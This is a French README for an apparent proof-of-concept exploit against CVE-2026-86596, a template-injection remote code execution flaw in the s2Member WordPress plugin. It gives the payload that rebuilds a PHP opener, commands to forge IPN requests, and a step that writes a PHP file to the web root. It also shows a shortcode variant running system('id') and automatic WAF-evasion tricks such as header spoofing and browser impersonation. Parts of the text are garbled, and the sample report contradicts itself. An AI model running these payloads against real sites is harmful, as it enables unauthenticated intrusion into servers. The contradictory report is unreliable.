
CVE-2026-86596 s2Member <= 260927 PoC d'injection de modèle (labo ; vérification IPN requise)
PoC Python monofichier pour la RCE par injection de template dans s2Member <= 260927.
Le code vulnérable :
$paypal = strip_php_tags_deep($paypal); // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));
Charge utile :
<%%x%%?php echo 'CVE-2026-86596'; ?>
strip_php_tags_deep() le laisse intact car il n'y a pas de <? littéral.
Le remplacement de %%item_name%% l'insère ; le nettoyage final %%(.+?)%%
supprime %%x%%, laissant un ouvreur <?php valide.
python3 poc.py https://wordpress.lab
Voici le flux complet :
cve_test.php avec @thiscitze dans la racine de WordPress,https://wordpress.lab/cve_test.php et vérifie le marqueur.Si l'ID de l'article/page protégé n'est pas 1 :
python3 poc.py https://wordpress.lab --item-number 123
Si .php est bloqué, écrivez un marqueur en texte brut :
python3 poc.py https://wordpress.lab --filename cve_test.txt
Si le site utilise une clé de vérification par proxy :
python3 poc.py https://wordpress.lab --proxy-verification "KEY"
Rapport concis :
CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item : 123
run id : 1a0d80
time : 2026-11-03 12:34:56 UTC
[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
1/5 abspath/cve_test.php HTTP 200
[+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped
RESULT
CVE applicable : YES - vulnerable version
Injection : OK
IPN response : HTTP 200 | HTTP 200; processing not proven
Test file : FOUND - https://wordpress.lab/cve_test.php
Marker : not checked
RCE : CONFIRMED - code execution works
Run ID : 1a0d80
Next : test file: https://wordpress.lab/cve_test.php
Le rapport répond à trois questions distinctes :
RCE: NOT CONFIRMED signifie que le script n'a pas prouvé l'exécution de code, même si
le statut HTTP était 200.
La couleur est activée lorsque stdout est un TTY ; forcez-la avec --color always ou désactivez-la
avec --color never.
Si la cible est protégée par un WAF/challenge, le script essaie automatiquement des variantes de forme de requête avant d'abandonner :
multipart/form-dataitem_name dupliqué (bénin + payload)multipart/form-data avec item_name dupliquéX-Forwarded-For / X-Real-IP / CF-Connecting-IPcurl_cffi (pip install curl_cffi)--http-proxy est fourniContrôles optionnels :
python3 poc.py https://wordpress.lab \
--http-proxy http://127.0.0.1:8080 \
--cookie "cf_clearance=..." \
--impersonate chrome
--no-evasion désactive les variantes automatiques. Un challenge JS peut encore
nécessiter une véritable session de navigateur ou un IPN d'origine PayPal ; les astuces d'en-têtes ne constituent pas
un contournement garanti.
Écrire un fichier de test dans la racine de WordPress et le vérifier :
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--test-url https://wordpress.lab/cve_test.php
Le payload écrit cve_test.php contenant :
<?php echo "@thiscitze"; ?>
Si .php est bloqué ou non nécessaire, écrivez plutôt un marqueur en texte brut :
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--filename cve_test.txt \
--marker "@thiscitze" \
--test-url https://wordpress.lab/cve_test.txt
Le fichier est écrit dans ABSPATH (la racine du système de fichiers WordPress). Si
WordPress est installé dans un sous-répertoire, ajustez --test-url en conséquence.
python3 poc.py --simulate
Attendu :
[*] after strip_php_tags_deep():
"<%%x%%?php echo 'CVE-2026-86596'; ?>"
[*] after placeholder cleanup:
"Thanks Test!\n\n<?php echo 'CVE-2026-86596'; ?>..."
[+] '<?php' opener reassembled
Variante shortcode :
python3 poc.py --simulate --shortcode --command "system('id');"
Cela produit [s2If php="system('id');"], qui s'exécute si le template
atteint un sink do_shortcode() / [s2If php].
python3 poc.py --check https://wordpress.lab
Il lit readme.txt ou s2member.php et compare la version avec
260927 / 261001.
python3 poc.py --ipn https://wordpress.lab \
--item-number 123 \
--payload "<%%x%%?php echo 'CVE-2026-86596'; ?>"
s2Member vérifie les IPN auprès de PayPal (POST back) ou via une clé de vérification proxy. Un POST forgé directement est normalement rejeté. Pour un laboratoire :
item_name constitue la charge utile, oupython3 poc.py --ipn https://wordpress.lab --item-number 123 \
--proxy-verification "<value from the site's button code>" \
--command "id"
Le script affiche la réponse HTTP et avertit si la cible a rejeté la vérification.
python3 poc.py --trigger "https://wordpress.lab/thank-you/?..."
Récupère une page et recherche CVE-2026-86596, que la charge utile renvoie.
Cela est utile lorsque le récepteur de code de suivi / shortcode s'affiche après l'IPN.
custom doit commencer par le nom d'hôte du site (ou skip_ipn_domain_validation
doit être activé).item_number valide pour le chemin Specific Post/Page.do_shortcode() / [s2If php=...], ou une intégration personnalisée qui évalue
le modèle de notification. Le corps d'e-mail en texte brut par défaut est lui-même envoyé
via wp_mail, et non évalué.Mettez à jour vers s2Member 261001 ou une version ultérieure (actuelle : 261017). Le correctif remplace
l'interpolation séquentielle par fill_paypal_template_once() et assainit
la destination de suivi en [A-Za-z0-9 @._-].
PR:N) indiquent non authentifié. Traitez-la comme distante/non authentifiée pour
la priorité de correctif, mais validez les exigences IPN/proxy dans votre configuration.